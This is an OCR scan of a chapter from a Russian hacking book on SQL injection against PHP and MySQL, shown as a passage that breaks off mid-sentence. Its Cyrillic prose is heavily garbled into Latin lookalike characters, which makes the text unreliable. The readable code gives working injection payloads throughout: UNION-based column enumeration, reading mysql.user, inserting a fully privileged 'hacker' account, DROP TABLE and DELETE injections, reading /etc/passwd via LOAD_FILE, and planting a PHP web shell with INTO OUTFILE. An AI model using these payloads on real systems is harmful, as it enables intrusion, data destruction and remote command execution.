yae Mbl MOXXEM YBHIETb 3TO B HalleM CLUEHApHW, HO B peaibHbIX YCNOBHAX HAN



SQL-unvexyus (PHP + MySQL) 159

Oyner RocTynHO TONbKO coobuieHHe o6 owubke, B KOTOpOM HET HeoOXoAuMONH
HHOpMaLK.

Puc. 5.4. PeaynbTaT nepenavv B Ka4ecTee napaMeTpa 0AWHAPHOR KaBbluKK

5.2.1. C6op uncpopmayum

[pexxae yeM NpPOAOMKHTL aTaky, xakepy Heo6xoauMo cobpaTh kak MOXHO GOJMb-
we UHPOpPMaLMH O CHCTEME, B KOTOPYIO OH nonai. JKenaresbHO MONMYYHTb Clie-
AyLLYI0 HH$OpMALIHIO:

1. Wma Texyuieit 6a3bl naHHbIX, a Nyvilie BceX AOCTYMHbIX 6a3.
2. Mmena radbnnu.

3. Hmena noneii.
4

. UMa nonb3oBaTens ¥ naponb, OT MMEHH KOTOPbIX MPOUCXOAMT oOpalueHue
k 6aze gaHHbIX. [Tapoab MblI NONY4HUTH HE CMOXKEM, & BOT X3W-CYMMY MOJXKHO
nonyuuts. Ecu napons npoctoi, To ero moxkHo 6yner B Oyaymem nogobpathb
C MOMOLLBIO CMIELHATH3UPOBAKHbIX NPOTrPaMM.

B 3TOM pasnene MBI MOrOBOPUM O TOM, KaKHM 00pa3oM MOXHO NOJYYHTh MaKCH-
MAJILHO BO3MOXHYIO HH(POPMaUHIO.

Urtak, kak MOXHO MOCUHTATh KonuyecTBo noneid? Camblit npocrto¥i cnocob —
o0beanHerue union ¢ Apyrum SQL-3anpocoM. Korpa nsa SQL-zanpoca o6neau-
HRIOTCA uepe3 union, TO OHH OYAYT BLINOJNIHEHB!, TONLKO eciu 0ba BOIBpAILBIOT
O/IMHAKOBOE KOTUYECTBO NoJiedl W THIbl COOTBETCTBYIOLUMX NMONEH UMEIOT COBMEC-
THMbIH THI.
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A c kakum SQL-3anpocom Ham npoussectH obbeauHenue? Uro oH AoJKEH BO3-
Bpawath U otkyxa 6parb pmanHbie? Ja HHOTKyAa W HUvero. OH MPOCTO JOMXKEH
BO3BpallaTh HyJieBoe 3HaueHue. HyneBbie 3HavyeHUs MO3BOJAT HaM 3a0bITh O TH-
nax roJied, HOToMy 4TO OHH Bceraa OyayT comecTumbiMH. Hanpumep, cnexyio-
wuid SQL-3anpoc BmonHe KOppekTeH W BO3BpaLlaeT OAHO MYCTOE 3HAYEHHE

(NULL):
SELECT null

[Tonyuaerca, 410 MbI MOXKeM nochaenosatenbHo 06beauuaTs SQL-3anpoc, koro-
pbiii BHIMIOJIHACT CLUEHApHil ¢ BLIGOPOM MYCTHIX MOAEH A0 TexX Mop, MOKa CLeHapUi
He OyneT BbinonHeH KoppekTHO (He 6yaer olU60kK):

SELECT *

FROM smf_polls

WHERE posterName='' union SELECT null, null,

[loToM, npoCTO NOCYUTAB KONHYECTBO MyCThIX 3HaYeHUH u3 Haiero SQL-3ampoca,
Mbl Y3HAa€M KOJIMYECTBO MoNei, koTopbie Bo3painaer SQL-3anpoc cueHapHs.

Hrak, nonbop konuuecrsa noned Oyaer BbuirnameTb ciexyromum obpasom. ns
Hayasia HeoOXOIUMO BBECTH B I0/i€ BBOJA!

' union SELECT null /*
Ecnu cuenapuii BepHer otuubky, TO nepeaaauM:
' union SELECT null, null /*

T I
‘ MpumeuaHune ]

B SQL-3zanpoce moxHO BMecTo npobena ykasbiBaTb 3HAK NNOCa, Hanpumep:
union+SELECT+null, +null. WHoraa Ttakan aanuce 3anpoca 6onee yaobua, oco-
6exHO, ecnn npobentl OTHUNLTPOALIBAOTCA CUSHAPHEM.

A uT0 O3Hauaer /* Ha KoHUEe? OTU nBa cMMBona ykasbBalwT CYB/, uto Bech
nocaeayownii Tekct B SQL-3anpoce — 3TO0 KOMMEHTapuii, U €ro BBIIOAHATH
He HyxXHO. Ecnn He ykasatk 3toro, To CYB]] sepuer owubky B Awobom cnyuae.
[Toyemy?

Ecnu nocne BHeapeHus Hawero obneauHenHoro SQL-zampoca He moCTaBHTDH
KOMMEHTapHit Ha KOHLIE, OH MPUMET CACAYIOLIHH BHA:

SELECT *

FROM smf_polls

WHERE posterName=''

union

SELECT null '



SQL-unvexyus (PHP + MySQL) 161

Obpatdre BHUMaHHWE HA OAMHAPHYIO KaBbluKY B koHUEe. OHA NUIIHAA K U3-3a Hee
CYB] He cmoxer BbinonanuTh SQL-3anpoc. bnaaronapa koMMeHTapuio Mbl MoXeM
oTOpPOCUTD 3TY TOYKY:

SELECT *

FROM smf-_polls

WHERE posterName='' union SELECT null /* '

3anpoc MoKeT ObITh M 6051ee CIOKHBIM:

SELECT *

FROM smf_polls

WHERE posterName='$username’
and field2='S$param'

CRDER BY posterName

LIMIT 0, 25

TyTr yxe nocne nepeMeHHOH $username €lIE OYEHb MHOIO OINEpaTOPOB H OHH
TAKKE MPeAcTaBiAlOT Ang Hac npobnemy. CUMBOA KOMMEHTApHA MO3BOASET OT-
6pocuTb 3Ty Yacte SQL-3anpoca.

Bce mpuMepbi, KOTOpbIE Mbl PaccCMaTpUBaIM Bbillle, NOAPA3YMEBAIOT, YTO Mepe-
MEeHHasd, B KOTopylo Mbl Bkmounnu SQL-3anpoc, sBnsetTca cTpokoBoii. B sanpocax
MmepeMeHHYIO TaKOro THMa HeOOXOAUMO 3aKIIO4aTh B OAMHApHble KaBbluKU. Ecnu
MepeMeHHas JO/MKHA ObITh YMCAOBOM, TO ee 3aKUII04EeHHE B OJHHAPHBIE KaBbIYKH
He aBaserca obasarenbHbIM. Hanpumep:

SELECT *
FROM smf_polls
WHERE ID_POLL=$pollid

B navHom ciyuae nepemeHHas $pollid HE 3aK/IIOYAeTCA B KaBbIYKM, a 3HAYMT,
KaBbl4Ky HE HY)XHO MepenasaTh B KauecTBe napaMerpa. JocTaTouHo mpocTo mepe-
Aath BctaBky SQL-3anpoca B kauecTBe napaMeTpa.

[Momumo ctangaptHbix SQL-3ampocos SELECT, kaxkaas CYBI noanepxuBaer cBou
pacilHpeHHs, C NOMOLLBIO KOTOPbIX MOXHO NOAYYHTH NoapobHyio nHdopMaumio ob
obbekrax Oa3bl maHHbiX. [lo3xe MbI morosopuM © HroaHcax cbopa HHbOpMaLHH
B Microsoft SQL Server, a B 310#f rnase Ml rosopum o cBaske PHP + MySQL,
a 3HauuT, paccMarpusaeM umeHHo MySQL.

HayHem ¢ omepaTtopa SHOW. OH HMEET HECKONbKO BApHaHTOB U MepBbiii U3 HHUX,
KOTOpbI#i MbI paccMoTpuM, OymeT oTobpaxkaTh RocTymHbIE 6a3bl aHHbIX. [las 3T0-
ro HeoOGX0IMMO BBHIIOMHUTD OMEpaTOp SHOW DATABASES. B pesyabTaTe Ha skpaHe
OyayT oToOpaxkeHb! HMeloLMecs 6a3bl naHHbIX:

| Database |
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e +
| minibb |
| mysal |
| test |
e +

3 row in set (0.00 sec)

3 crpoxu B HabGope (Bpemsa BemonHeHua 0.00 cexyHOR)

Ha Moem cepeepe Tpu 6a3bl AaHHbIX: minibb, mysql 4 test. [lepBas U nmocnennss
CO371aHbl MHOH U coaepKaT M0Jib30BaTeAbCKHE AaHHbIC, a 6a3a JaHHbIX mysql AB-
nsercsa cucTeMHON. B Helt xpanaTca cucTeMHblie Tabnuubl, KOTOpbie NIOO0H Xakep,
3HAET HaU3yCThb, TOTOMY YTO OHH MOFYT paccka3aTh O4eHb MHOTO€.

Hnsa npocmotpa Tabnuu B Tekywein 6a3e faHHBIX HEOOXOAUMO BBINOAHUTD Ofepa-
TOp SHOW TABLES. Ecnu BbHIONHHTH 3Ty KOMaHAy B 6a3ze AaHHBIX mysql, TO Bbl
YBUIAWUTE IPUMEPHO ClEAYIOWUH pe3ynbTarT:

| columns_priv

| db

| func

| hosts
tables_priv

I

I

user

6 row in set (0.00 sec)

6 CcTpoK B HaGope (Bpema BemonHeHuA (.00 cexyrpw)

Bce Tabnunupt Mbi paccMarpuBath He HyaeM, a o6paTHM BHUMaHHE TONLKO HA CaMOL
uHTepecHoe. Camas MHTepecHas Tabnuua — user. Ecau y Bac ectb non pykolh
CYBJ MySQL, To BuinoasuTe SQL-3anpoc:

SELECT *

FROM mysqgl .user

Hauuwit SQL-3anpoc BbiOupaer Bce 3anucu U3 Tabnauupl user 6asbl JaHHBIM
mysql. B 310#1 Tabnnue xpaHATCA MMeHa noNib3oBaTenel, UX 3alUPPOBAHHbBIE e

POy, a TaKkKe Npasa JOCTYMa A8 KaKAO0ro nojib3osatens. Ecnu y sac Takoh 6a3by
JaHHLIX HET, TO HUYEro CTPALLHOTO, Mbl PACCMOTPHM OCHOBHbIE TT0JIA 3TOH TabAHLbI:

0 Host — MM4A XOCTAa;

0O User — vMd NOAb30OBATENA;
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a

Password — 3aluM(pOBaHHbIH MAPOJb MOJIB30BATESNA,

Select_priv — ecid B 3TOH KonoHke Y, TO MONB30BATENIO Pa3spelleHO Bbl-
MOJTHATb ONEpaTop SELECT,

Insért_priv — €CiM B 3TOH KojoHKe Y, TO MOb30BATENIO paspelieHO BCTaB-
NATH HOBbIE 3AMTUCH, T. €. BLITIONHATD ONEpPaTop INSERT;

Update_priv — eC/1H B 3TOH KOJIOHKE Y, TO NO/B30BATENIO paspellieHo 0GHOoB-
JIATb AaHHBIE, T. €. BBIMIOJHATD ONIEpaTOp UPDATE;

Delete_priv — €cjid B 3TOH KojioHKe Y, TO MOJIb30BATENMIO pa3pelucHo yaa-
JIATb NaHHBIC, T. €. BLITOMHATL ONEpaTOp DELETE,

Create_priv — €CNH B 3TOH KOMIOHKE Y, TO NOAB30OBATEN0 Pa3peLleHo Co3/a-
BaTh HOBble TaGAHLB! WM 6a3ly AAHHBLIX, T. €. BBIMONHATHL ONEpPaTOpP CREATE
TABLE;

Drop_priv — ecii B 3Toil KOAoHKe Y, TO NMONbL30BATENIO pa3pelleHo YAAISTE
Tabauubl AW 6a3y AaHHBIX, T. €. BBITONHAT ONIEPaTOp DROP TABLE,;

Grant_priv — €cAM B 3TOH KoaoHke Y, TO NMOAb30BATENO Pa3spelleHo yIpas-
NATb NPaBamMH AOCTYNa, T. €. BLITIONHATL ONEPaTOPbl GRANT U DENY;

File_priv — eCjii B 310i kon0HKe Y, TO MIO/L30BATE/NIO Pa3pPeLlleHO MoAYyYaTh
nocTyn K ¢ainosoii cucTeMe ¢ MOMOLLBIO OMEPAaTOPOB SELECT INTO OUTFILE
M LOAD DATA INFILE;

Index_priv — €CAH B 3T0# KonoHKe Y, TO MOb30BATEN0 pPa3pelleHo ypas-
NATb MHASKCAMM: CO30aBaTh H YOaNnsTh,

Shutdown_priv — €C/IM B 3TO# Ko/loHke Y, TO NOMb30BATE/NIO pa3pelieHo oc-
TaHaBJMBaTh paboTy cepeepa;

Process_priv — €CAM B 3TOH KkonoHKe Y, TO MO/NB30BATENIO pa3pelieHo
ynpasasTh MpoLeccamMH cepBepa;

Alter_priv — ecAM B 3TO# KoJOHKE Y, TO [ONb30BATENIO pa3pelleHo H3Me-
HATb CTPYKTYPY TaGnuubl, T. €. BLINOAHATH ONEPaTOp ALTER.

Ecnu BB xoTHTE NMpOCMOTPETDL MNpaBa AOCTYNAa NOJAb30BaTe/d rool, TO BbITIOJHUTE
cneaytouinii SQL-3anpoc:

SELECT *

FROM mysql.user

WHERE User='root'

I lo BbIBEAEHHOI TabnuUe XaKep MOXKET y3HaTh HE TOJIbKO TEKYLIHE npaBa A0CTyna
BCeX Monb3oBaTeneli, HO M 100aBUTH HOBOIO NOAL30BATENA AU U3IMEHHTHL YbH-TO
[1paBa, eciiv Y Hero 6yoyT COOTBETCTBYIOILMC NpaBa qOCTYIA.
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Cneaytomuit SQL-3anpoc no6asnser Hosoro nonbzosarens, KOTOPOMY JOCTYITHbI
BCE MTPUBUIIETHU:

INSERT INTO user
VALUES ('%', ‘'hacker', password('mypass'), 'Y', 'Y',
YL Y, Y, Y, Y Y, Y, YL TY Y, YY)
Ecnu nobaBneHue HOBbIX 3amucedl HEAOCTYNHO, 3aTO AOCTYIMHO OGHOB/IEHHE, TO

XaKep MOXET HU3IMCHUTH CYLICCTBYHOLUYHO YUCTHYHO 3alUChb, H3IMCHUTDL €€ I1apO/b
HIIK [TpaBa:

UPDATE user
SET Drop_priv='Y'
WHERE user='hacker'

Cnepytowas Tabauvua, Kotopas MO3BONAET YNpaB/iATh NpasamMu, — 3710 db. Ecnu
B TabnHue user cofepxarca npasa JOCTyna Ko BceM 6asaM maHHbIX, TO B db —
TOJILKO K ofipeneaeHHon. Jlnsa yrenns naHHbIx U3 Tabauuel BbinoaHsem SQL-3ampoc:

SELECT *
FROM mysql.user
B sToit Tabauue MOXXHO HalTH ceayowue nous:

O Host — UMH XOCTa;
db — 6a3a JaHHbIX;
User — UM4A NOAL30OBaTENA;

QaaqaQ

Select_priv — ecC/JH B 3TOH KOAOHKE Y, TO [OJIb30BATEAK) Pa3peileHO Bl
[OJIHATH OMNepaTop SELECT;

Q

Insert_priv — €C/id B 3TOMH KOjloHKe Y, TO [MOAB30BATEAIO pa3peilleHO BCTaB-.
AATb HOBBIE 3aMUCH, T. €. BBITIOJIHATDH ONEPAaTOp INSERT;

0 update_priv — ecjid B 3TOI Ko/iOHKe Y, TO NONb30BATENIO pa3peieHO 0OHOB-!
JIATh JlaHHbIE, T. €. BBINOJHATE ONEpaTOp UPDATE,

(0 Delete_priv — eC/H B 3TOH KOJIOHKe Y, TO NOMAB30BATENIO0 pa3peileHo yna-
JATh OAHHLIE, T. €. BLIMIOJIHATL ONEpaTOp DELETE;

O Create_priv — €C/H B 3TOH KOJAOHKe Y, TO MOJAL30BATEMO pa3peileHo co3aa-
BaThb HOBbie TAONHUBLI WM 0a3y HaHHbLIX, T. €. BLIMOJHATL ONepaTop CREATE
TABLE;

O Drop_priv — ec/id B 3TOH KOJOHKe Y, TO MONL3OBATEMIO pa3pellieHO YAAIATb
Tabauubl Wik 6a3y AaHHbIX, T. €. BBINOJHATL ONlepaTop DROP TABLE;

O Grant_priv — ec/id B 3TOi KOJIoHKe Y, TO I0/1b30BAaTENIO pa3peLleHo ylpas-
NATb NpaBaMH AOCTYMNA, T. €. BLINOAHATH ONEPaTOpbl GRANT H DENY;

0 Alter_priv —— eciy B 3TOi KoAoHKe Y, TO IONb30BaTENO pa3peuieHo H3me-
HAATb CTPYKTYPY TabiuUbl, T. €. BBINOAHATL ONEpaTop ALTER.
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?
Kak Buavre, 3a€ch XpaHATCA NMpaBa, KOTOPblE OTHOCATCA TONBKO K AaHHbIM. [IpaBa
YIIpaB/IeHHs CEPBEPOM JOCTYITHbI TOJILKO B TabHLE user.

[TpaBa moctyna mMoryT ObiTe Ha3HA4€HB! U Ha OMpeAeneHHYI0 Tabnuly. OTH npasa
MOXKHO HafTH B CUCTeMHOM Tabnuue mysql.table_priv. Bo3MOXHB npasa Aaxe
Ha OIpeNeACHHbIE KOMIOHKH, K 3TH IIpaBa JOCTYNAa €CTh B mysql.column_priv.

JTO OCHOBHbIE laHHbI€, KOTOPbIe MOTYT MOHaaoOUTECA Xakepy. Urenue npusune-
ruii Mo3BoJiseT TOYHO Y3HAaTh, YTO JOCTYMHO U ¢ moMowbio kakux SQL-3anpocos
MOXHO OCYLIECTBUTDH B3/I0M, 2 H3MEHEHHE 3TUX TabNHL MOXKET TTO3BOJIHTL XaKepy
HaaeauTh ceba HeoOXOAUMBIMH TpaBaMHu.

EcTb ewe Tpu o4eHb HHTEpecHbIE PYHKLMH:

(0 DATABASE() — BO3BpaiiaeT UM 6a3bl NaHHBIX;

(0 USER() — BO3BpalLACT UMA TEKYLUETO MOJb30BATEN;
0 VERSION() — BO3BpaWiacT BEPCHIO Oa3bl JaHHBIX.

[Monpobyiire BeinonuuTh caepyowuii SQL-3anpoc:
SELECT DATABASE(), USER(), VERSION()
Bb yBHAMTE NPUMEPHO TAKOH pe3yAabTaT:

e L P R o +
| DATEBASE() | USER() | VERSION |
Fom e o e e dom e +
| mysql | root@localhost | 3.23.58 |
o e o e +

1 row in set (0.00 sec)
1 cTpoka B HaGope (Bpems BbmosiHeHUA 0.00 cexyHmR)

5.2.2. Ucnonb3oBaHue yA3BUMOCTH

B 3aBHCHMOCTH OT TOTO, CKOJIbKO HHGOPMALIMK BbI MOJYYHIH, MOXKHO BOCIIO/Ib30~
BaTbCH HalaeHHOH ya3BUMOCTBIO. [(aBaiiTe pacCMOTPUM KIaCCHYECKHE BapUaHThi,
KOTOphLIE BCTPEYa0TCA AOCTATOUHO 4acTo.

Camoe cTpaluHOe, YTO MOXET CAeNaThb Xakep, — YHUYTOXKMTb AaHHbie. leno
B TOM, 4TO 6a3za maHHBIX MOXeT paboTaTh oA y4eTHOH 3alMChIO, KOTOpas MOXET
103BOAATH BHINOJHATL KOMaHabi Moaudukauud aauueix. Ecniu CYB]] 6yaer no-
3BOJIATD €llle U BBINMOMHATL HECKOIbKO komMaHa B SQL-3ampoce, T0 370 MOXKET OKa-
3aTheA MiayeBHbIM. B 6oablinHcTBe 6a3 AaHHBIX 3anpoChl JOXKHBI Pa3Ac/IATLCH
TOYKOM ¢ 3anatoi. B 3TOM cnyuae xakepy JOCTaTOMHO nepenath Yepe3 ya3BUMbIH
1apaMeTp CAeayOlLy0 KOMaHy:

'; DROP TABLE Wmsa TaOnuuwi; /*
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Ora KoMaHAa ydanseT ykasauHylo Tabnuuy. Takum oGpasom, MOXHO pacmpo-
waTbca ¢ Tabnuuei U BceMu ee JaHHBIMU. XakKepy TONbKO HY)KHO 3HAThb UMsA Tab-
JIULIbI, KOTOPYIO OH XOUET YAaNATh, H HMETL COOTBETCTBYIOLUME TIpaBa.

XopoliMe aaAMHHUCTPATOPb! 3anpelaroT BbLHIONHEHUE KOMaHAbl yAaneHus 6a3
nauHbiX 4 Tabnuu. Ho 3anpeTuth BcTaBKy, OOHOBACGHHE W YAQJIEHHE AAHHBIX K3
TabNMHL OYEHb YaCTO HEBO3MOXKHO.

'; DELETE FROM HmMa ratnuuel; /*

JAng BLIMOMHEHHA 3TOrO 3aMnpoca ONATh Ke HeoOXOOHUMO 3HATL MUMA TabHLL
¥ MMETb NpaBa HA BBIMOJIHEHHE 3anpoca DELETE. EciM DROP TABLE JOCTaTOYHO
MPOCTO 3aMpeTUThb, TO KOMAHAa DELETE O4Y€Hb YacTo HeoOXoaUma CueHapusaM, H ee
OrpaHH4UTh CJIOKHEE.

3uHas moas Tabnuupl, Bbl MOXKETE BBIIOJHATL KOMaHIbl UPDATE J/1f H3MEHEHHA
AAaHHBLIX WM INSERT And goGaBiieHUs HOBbIX 3amuceii. Komanaa uaMeHeHus AaH-
HBIX TaK )K€ OnacHa, Kak W yjaneHue. Hanpumep, Xxakep MOXeT BHEOPWTb cre-
aywowmuii SQL-3anpoc:

UPDATE smf_polls

SET question='"'

Bnaroaaps stoMy SQL-3ampocy Bce BOMpOCH! B roiocoBaHUH 6yayT obHyAeHb!.

Brinonnenue komaua o6HOBAGHHA U BCTaBKM Haubonee onacHo B TabiaHuax, B KO-
TOPBIX XpaHUTCA UHDOPMaLIUA O M0Nb30BATENAX, HATIPUMEP, XaKep MOXKET BbINO-
HUTL SQL-3anpoc oOHOBNEHUA (UPDATE) 3allMcH ajMHHUCTpaTopa U OOHYIHTH
napoib HAHW YCTAHOBHTL CBOH, MOCAE YEro CMOXET [ONY4YHTh NpaBa aAMUHUCTpa-
topa. Ho 3to cpa3sy BblaacT 3n0yMbiLiIEeHHHKA, NO3TOMY JIyylllUM BapuaHToM Oy-
net n1o6aBUTL HOBYIO 3aluChb C MpaBaMu aAMUHKCTPATOPAa WM YCTAHOBHUTH [pU=
3HAK CYIEpProJib30BaTesd /A CBOEH YYETHOH 3aITMCH.

5.2.3. NocTyn K dbannoson cucreme

C nomouibio SQL-3anpocoB MOXKHO NOAYYHTb AaXke AoCTyn K ¢ainoBol cucTeme.
Hns atoro B MySQL ecTb ABa onepatopa LOAD_FILE M into outfile. C ROMOLIbIO
NepBoro MOXKHO Npo4UTaTh dain, HanpuMep:

hacker' union select null,LOAD FILE('/etc/passwd'),
null,null,null,null, null, null, null/*

B pesynsTate 6yaer BoinoaHex caeayowuii SQL-3anpoc:

SELECT *

FROM smf_polls

WHERE posterName=' hacker' union select

null, LOAD FILE('/etc/passwd'),

null,null,null, null,null, null, null/*"'
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B nmanHOM cany4ae pesynbraT HOopManbHoro SQL-3ampoca SELECT obbeaunsercs
c SQL-3anpocom, kotopblii BO BTOPOM rnapaMerpe (TaMm, rae J0JLKeH ObITh BONPOC
rofocoBaHus) 3arpysxaet ¢Qaitn /etc/passwd. B atom aiin OC Linux xpaHur ume-
Ha BCeX MnoJib3oBaTesiel CUCTEMBL, a oueHb cTapbie Bepcud OC Linux 3xech xpaHu-
7K ¥ xatu naposeii. Ho aTo 66110 OueHb AaBHO, M cefivac x3iuM naponaeH XpaHAT-
ca B ¢aiine /etc/shadow, k KOTOpOMYy Yy Bac ckopeid Bcero He 6yneT npas JocTyna.
Ho 3HaHHMe UMeH YYETHBIX 3alMced Mosib3oBaTesie yxe 4To-1o. J[esnio B TOM, YTO
yem Goabile mosb30BaTENEH, TEM npolue noaodpaTk naposnb K oAHOM H3 CylecT-
BYIOLLMX Y4YeTHbIX 3anuceii. Kak mokasbiBaeT nmpakrTHka, Ha COTHIO nonb3osatenel
MOXKET HaHWTHCb TAKOM, y KOTOpOro fapoab Oyler coBrajaTth ¢ UMEHEM WM na-
posib OyaeT CRULIKOM MPOCTOi U ero noabop OTHUMET He onee NATH MUHYT.

3anuch B ¢aitn NpoUCXOAUT CeAyiowrM obpa3om:

hacker' union select null,null,null,null,null,null,null,null,null
from sfm _polls into outfile index.php/*

Takum obpasoM, pesynbrat SQL-3anpoca 6ynert 3anucan B ¢aiin index.php. Yawme
BCEro y y4eTHOi 3amucH, mog KOTopoii Bbi paboTaere, JOCTaTOMHO INpas, YTOObLI
nepesanucarhb ITOT ¢aiin, a 3HaAYUT, BbI CMOXKETE NPOU3BECTH Aedeiic.

Ecnu mpaB Ha cosmaHue aitna HEeJOCTaTOMHO, TO MOXHO HMCMOMAb30BaTh UMEIO-
uuiica ¢aiin, ¥ 3anucarh B Hero HeoOxoAUMBbIH KO, C MIOMOLbIO KOTOPOro MOXKHO
Oyaer nomyuurs Shell (KoMaHAHYIO CTPOKY AJIA BbIHIOAHEHUS koMaHa). Hanpumep:

hacker' union select null, '<?print(system($Scmd))?>",
null,null,null,null,null,null,null

from sfm polls into outfile and.php/*

B nanHom cayuae B ¢aiin cmd.php 6yner 3anucau pezysibTaT BLITOMHEHHS 3aMPO-
ca U PHP-onepatop <?print (system($cmd) ) 2>.

Tenepb MOXKHO BbLI3bIBaTH ITOT CLIEHAPHii U B MapaMeTpe $cmd NEpeJaBaTb KOMaHIB,
koropbie OymyT BbIMONHATECA, Hanpumep: http:/localhost/cmd.php?cmd=ls -al.
B pesynbraTe Web-cepsep BLITOAHWT KOMAHAY 1s -al H OTOOpasHT pesysbTar e
BLIMOJIHEHHUA.

5.2.4. NMouck ya3BuMocCTH

HTtak, kak Bbl MOXETe MCKaTh yA3BUMOCTH Ha Web-caiite? CaMblii AelicTBeHHbIN
cnocob — BO Bcex mapamerpax, KoTopbie Bbl BUauTe B ctpoke URL, B mosgx BBOJA
u 8 aiine Cookies nombiTaThCA YKa3aTh CHMBOA OOWHApHON kaBbiukd. Hanpumep,
ecii URL BoirsauT cieayromum obpasom: http://localhost/index.php?id=1&s=test,
TO MOXKHO NONbITaTLCA YKa3aTh: http:/localhost/index.php?id=1'&s=test'.

Ecnu cueHapuii BepHer owdbKy, TO 3TO YK€ TOBOPHT O BO3MOXXHOCTH Peanu3o-
BaTh ataky SQL-unbekuuu. Kak mbl y)ke 3HaeM, 1o oniubke MOXHO OMNpeJIenuTh
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AOCTATOMHO MHOI'O MOJNIE3HON HHPOPMALIMH, B TOM YHCIIE H BHIMIONHAEMbIH CLEHA-
pHeM 3ampoc, uMs Tabnuubl U ee fod.

Ha npodeccuonansibix Web-calitax, Kotopble 06CyXUBAIOT OMNbITHLIE AAMHHH-
cTpaTtopbl, Bbl He YBUAUTe oliHbok B SQL-3anpocax. Bce npekpacHO moHUMAIOT,
YTO TaKue OLIMOKHM JaloT XaKepy CIHMLIKOM MHOro HHQOpMalHH, 1o3TOMY, IIOIYy-
yas HEKOPPEKTHbIC flapaMeTpbl, CLIEHAPUH MPOCTO MOXKET MNpepbiBaTh CBOIO pabo-
Ty, otobpaxas mycryro Web-crpanuuy unu Web-crpanuiy, Ha KOTOpoi HaxoguT-
ca Tonbko wanka Web-cajita. Ecnu Bbl yBugenu nmyctyio Web-crpanuwy, to 310
abCconrOTHO HHYEro He roBopHT. Bo3mMoxkHO, Tam ecTh owubka, a MoxeT ObITh e
TaM M HeT.

Ytobbl ybeauTbcs B HanWYWKM BO3SMOXKHOCTH peanu3auvd ownbkd, B Kave-
CTBE KOHTPOJBHOTO BBICTPEAAa MOIKHO IIOMBITATLCA BLIIONHUTL CACAYIOLIHE
asa 3anpoca: http:/localhost/index.php?id=1' and 1=1&s=test' and 1=1
u http:/ocalhost/index.php?id=1 and 1=1&s=test' and 1=1.

B oboux cayyasx moMHMO KaBbi4KH Mbl nepemaem yciosve "and 1=1", koTopoe
BO3BpPALLACT MOAOKUTEAbHbIH pe3yabTaT, a 3HauuT, SQL-3anpoc ¢ Haweld UHbeK-
UMeil OMKEH MOJIOXKUTENbHO BLINOAHUTECA. Ecau nocie atoro Web-crpanuua
oTOo6pa3UTCa KOPPEKTHO, TO 3TO YK€ FTOBOPUT O BO3MOXKHOCTH yAaYHOH aTaku U 0O
npasWIbHOM HanpasneHud. Ecniu Web-ctpanuua otoGpasures myctoid, To onbku
CKOpe# Bcero Her.

O6paTuTe BHMMaHKE, YTO B [IEPBOM Ciy4ae B r1apaMeTpe id Mbl NepefaeM KaBblu-
KY, @ BO BTOPOM HeET. [[esio B TOM, 4TO 3TOT napaMeTp ABHO YHUCIOBOH, a 3HAYMT,
B 3aMpoce OH MOXKET ObITh OKPYXKEeH OJMHAPHOW KaBbiYkoH, a MoxkeT U Het. Heob-
XOAUMO NpoBepuTh 06a BapHaHTa.

5.2.5. MNpoueHT onacHocTH

Bo Bcex CYB]I, koTopbie s BUAE), €CAU CTPOKOBOE [10Jie CpPaBHUBAETCA C Mepe-
MEHHOH He C NOMOILBIO 3HAKA PaBEHCTBA, a4 C NMOMOLIbIO LIKE, TO CHMBOAbI Npo-
LUEHTa H MNoAYEePKUBAHUA NPUHUMAIOT 0coObif cMbica. UTobbl noHaTh ero, nasakite
noCMOTPHM Ha caeayouuidi SQL-3ampoc:

SELECT * FROM smf_polls WHERE posterName LIKE 'Susername’

CuMBON noa4epkuBaHus o3Ha4aer aoboit onguHoUHbIH cuMBoA. Hanpumep, Bbl HE
3HaeTe, KaK NPaBUBHO HanKWcaHo UMA Muxaun Ha aurnuiickom — Michael unu
Mikhail. B o6oux cay4yasx cemb 6ykB 1 ums HauuHaetcs ¢ 6yks Mi, a 3akaH4YHBa-
erca Ha 6yksy I. B 3ToM ciyyae cUMBONBI, KOTOpPbLIE Bbl 3HaeTe TOYHO, MOXKHO Ha-
MACATL B TeX MO3HUHUAX, KOTOpbIE €CThb, @ HEH3BECTHbIE CUMBOAL!I MOKHO 3aMEHHTD
nog4epKUBaHUEM:

Mi_ 1
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Mpo6enbi B naHHOM ClTy4ae BBEACHb! TONLKO MIA TOro, YToGbl Bb! BHAENH rPAHH-
Ub! CUMBOJIOB. B peanbHbIX ycnosuax atoro He HyxHo. Ecnn nepenars B kauecrse
napameTpa 3Ty CTpOKY, TO B pe3y/ibraTe 6a3a QJaHHBIX BEPHET HaM 3afUCH, B KOTO-
poix ecTb kak Mikhail, Tak u Michael.

CHMBOJI MPOLIEHTA 3aMEHAET MOCJICAOBATENILHOCTD H3 IOOLIX CHMBOMOB. JTO 3HA-
YHT, 4TO NpobneMy HMeHH MuXaun MOXHO pellinTb CNEAYIOWHM 06pa3om:
Mi%gl

Pesynbrar 6yaer ToT ke campiii M 6a3a AaHHBIX BEPHET HaM 3allMCH, B KOTOPbIX
ecTb kak Mikhail, Tak u Michael. Ecnu B kavyecTBe mapamerpa npocTo nepenatsb
CHUMBOJI [TPOLIEHTA, TO B PE3y/bTaTe Mb! MMOMYYHM abCOAIOTHO BCe 3arUcH Tabnuubl.

Kak 3TH cHMBOAbI MOryT Hcmonb3oBaTh xakepbi? la oyeHs npocto. omycTuM,
YTO y Bac ecTb TabiULA users, B KOTOPOH XpaHATCA HMEHA Y4ETHBIX 3allHceil Bcex
nonb3oBaTteneilt Web-caifra. Ing sxona Ha Web-caliT nonb3oBaTtenb BBOAHT HMSA
MoNb30BATEAS M apofib, a BaWl CLEHAPHH JOMKEH MPOBEPHTH, €CTh NH TaKoM
nonb3osaresb B Tabnauue. BoamMoxHaa nposepka MOXKET BBINIAAETH CAEAYIOLHUM
obpaszom:

Sresult=mysql_cquery("SELECT * FROM users
WHERE username LIKE 'S$Susername'’
AND password LIKE 'Spassword'");
if (mysql_num_rows($result)>0)
{
// Tone3oBaTeNk CYleCTBYeT
}

B manHOM ciay4ae noapasymeBaercs, YTO B MEPEMEHHOH $username HAXOOHTCH
UMS NPOBEPAEMOro TOAb30BATENS, 8 B IEPEMEHHOH $password HaXOAUTCA 1apOJib.
Ecnn SQL-3anpoc Bo3Bpauiaer xota Obl OOHY CTPOKY, TO aBTOPH3aLMIO CHHTaeM
npoiiaeHHOH ynayHo, Beb pa3 TAKOH 0AL3OBATENb €CThb B TabaHue, 3HAYUT BCE
B nopaake.

Ha nepBbii B3rsisa, anroputM paboTaeT HOPMaibHO, @ €C/TH B KA4YECTBE UMEHU H
